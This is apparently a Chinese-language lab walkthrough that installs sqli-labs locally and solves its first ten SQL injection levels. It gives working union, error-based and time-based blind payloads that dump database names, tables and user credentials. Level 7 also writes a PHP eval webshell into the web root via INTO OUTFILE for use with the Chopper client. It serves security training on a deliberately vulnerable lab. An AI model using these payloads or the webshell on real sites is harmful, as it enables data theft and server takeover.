在进行闯关练习之前我先进行一下环境的安装构造。
1、sqli-labs 下载、安装
下载地址:https://github.com/audi-1/sqli-labs
phpstudy:http://down.php.cn/phpstudy20180211.zip
所需安装环境支持包:http://www.pc6.com/softview/softview_104246.html
2将下载的 SQLi-Labs.zip 解压到phpstudy网站根目录下。
例如:我这解压后的路径是“F:phpStudyWWWsqli-labs”。
3、修改 db-creds.inc 里代码如下:
例如:我的配置文件路径是“F:phpStudyWWWsqli-labssql-connections”。
<?php //give your mysql connection username n password $dbuser ='root'; $dbpass ='root'; $dbname ="security"; $host = 'localhost'; $dbname1 = "challenges";
因为phpstudy默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。主要是修改’$dbpass‘为root,这里很重要,修改后自然是需要保存文件的,这个不用说相信大家也能知道。
4、浏览器打开“http://127.0.0.1/sqli-labs/”访问首页,并点击“Setup/reset Database”以创建数据库,创建表并填充数据。

5、现在浏览器打开 "http://127.0.0.1/sqli-labs/"向下翻,就可以看到有很多不同的注入点了,分为基本SQL注入、高级SQL注入、SQL堆叠注入、挑战四个部份,总共约75个SQL注入漏洞。
好了,做完准备工作后我们就可以来进行训练了!
?id=-1' union select 1,2,database() --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
注意:我们做这些题的最终目的都是能得出用户名和密码。
第一关GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)和第二关GET - Error based - Intiger based (基于错误的GET整型注入):
其实第一关和第二关基本差不多,他们的区别是:第一关是字符型注入,而第二关是数字型注入,基本的查询语句以及方法都是差不多的。(可以用1和1’进行一下区分)
首先我们需要进行一下判断:?id=1 and 1=2 --+是否是字符型注入,我们看到回显正常,不是数字型注入。id=1 and 1=1 --+
我们在后面加上--+进行一下闭合,(--+就是注释符号,注释了后面的语句),look,回显正常,说明是单引号字符型注入
接下来判断表有几列数剧,我们经过试验发现有三列—(?id=1' order by 3 --+)
接下来我们我们来找出显示位。(?id=1' and 1=2 union select 1,2,3 --+),经过试验发现2、3位是显示位,那么我们就可以从这两个突破口进行突破。也可以找一个不存在的id来进行试验都可以
接下来我们就来找出数据库的数据库名、表名、列名、和字段的信息。
我们先查一下版本和名字:(?id=1' and 1=2 union select 1,version(),database() --+)
接下来可以依据这个和回显位来进行数据库名字的查看:?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查询security的所有表的表名:?id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
接着爆破出列名:?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
最后就可以查找出用户名和密码了:?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
其实第二关也和第一关差不多,只不过第二关是数字型注入。可以知道为数字型注入,不用考虑闭合sql语句,比第一关还简单:
3、GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)-4关GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)也是一样 只不过闭合符号不一样了些 需要 ') 来闭合
三关 :是基于错误的GET单引号变形字符型注入:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; }else{ print_r(mysql_error()); }
四关:这关是基于错误的GET双引号变形字符型注入:
(我们可以根据输出的sql语句或者观察源代码或者测试得出格式为(”“),所以需要闭合的语句变成了”))
第五关GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入):我们发现没有显位,通常这种时候会有三种结果:布尔盲注(利用二分法能简单些)、时间延迟注入、报错型注入(三种)。
输入错误的?id=1‘观察:显示报错,所以一定存在注入漏洞
接下来我们来用我们熟悉的二分法进行破解:
首先我们依旧可以猜出他的字段:三位
接下来就是进行数据库名称的爆破:?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通过二分法不断缩小范围。可以不断的出数据库名称:第三个字母c代表的ASCII值为99,以此类推:security
(如果结果正确就会有回显,错误则没有)
接下来进行数据库下表的爆破:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
第一张表的第一个字母'e' 四张表: emails referer 最后一张users
接下来继续爆列,得出第二列是用户名,第三列是密码;
?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8)='password' --+
最后一步爆用户名和密码(只截取第一个用户和密码,大小不确定)
当然还有第二种方法:报错注入,这个做起来相当简单,先来介绍一下三种报错方法。
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
我们接下来以floor为例演示一下:
?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+
?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
爆表名:?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆列:
?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 7,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆用户名、密码:
?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
此时密码并不是Dumb0,这个0是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个0,有时候是1,不知道咋回事,上面的也是)
好了,第五关就结束了。
第六关GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入):和第五关差别不大,只是将1’换成了1“
第七关GET - Dump into outfile - String (导出文件GET字符型注入):还是了老样子,判断一下是数字型还是字符型的。
但是不知道怎么回事在界面上却出现了我们从才来没有见过的东西,use outfile,这也许也是一个解题的线索吧!
可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令是filefile系列函数来进行读取敏感文件或者写入webshell
所以我们就可以根据提示来往数据库中写入文件来解答此题!
既然是字符型的,我们 就用?id=1' --+来试验,发现却不行?
我们就在其后面添加 ' ) ")')) ")) 来进行一下尝试:
当发现是1'))的时候,我们发现可以,回显正常。
接下来我们就来进行文件的创建:(由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好),记住:主要这里的路径要用双斜杠\,否则建立出来的文件名会加前缀。
union select 1,2,3 into outfile "C:\phpStudy\\MySQL\data\liyingkun.php"
查看一下文件,虽然提示失败了,但是我们确实创建成功了!(需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传liyingkun.php,下次再上传liyingkun.php,就是无效命令了,也就是新的liyingkun.php中的内容并不会覆盖,之前的liyingkun.php)
union select 1,2,3 into outfile "C:\phpStudy\MySQL\data\liyingkun.php"
接下来我们在这个文件内加一句 木马,那样我们就可以通过此文件进入到数据库了。(如果写到www文件夹下就可以用localhost前缀了,便于用菜刀查询)
?id=1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\phpStudy\\WWW\liyingkun.php" --+
用中国菜刀,我们就可以获取这个文件夹的结构了。
好的!虽然忙了好长时间,终于完成了,愉快的结束吧!
第八关:GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
经过测试发现是字符型注入,并且通过回显可以看出是布尔盲注。
经过测试发现是 ?id=1' 也和本第七关一样有file权限,这关就这样了!
当然,也可以用二分法猜测来做,还有一种就是时间注入,简单演示一下。
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
时间延迟型和报错型payload核心部分的构造相同
本方法中payload = ?id=1' and if(报错型payload核心部分,sleep(5),1)--+
爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
明显延迟,数据库长度为8.
爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
好了,就先这样吧!
第九关:GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
首先判断是什么注入类型,这里我们尝试使用单引号和双引号闭合,发现页面回显一直正常,说明该关卡可能将我们的单双引号给退意了。这个时候输入什么都回显正常。经过sleep()函数来测试判断是字符型注入,并且是时间延迟型注入。
(咋判断是不是延迟型,当你用二分法时不管左边还是右边都是对的,说明二分法就做不了了,这个也需要试一下。)
只有这个有延迟:
这一关和上一关介绍的方法基本一样。可以参考上一关。
第十关GET - Blind - Time based - double quotes (基于时间的双引号盲注):这一关只不过是将单引号 换成了双引号。还是一样。
可以看到延迟。
爆用户名和密码
好了,愉快的结束了。(前十关)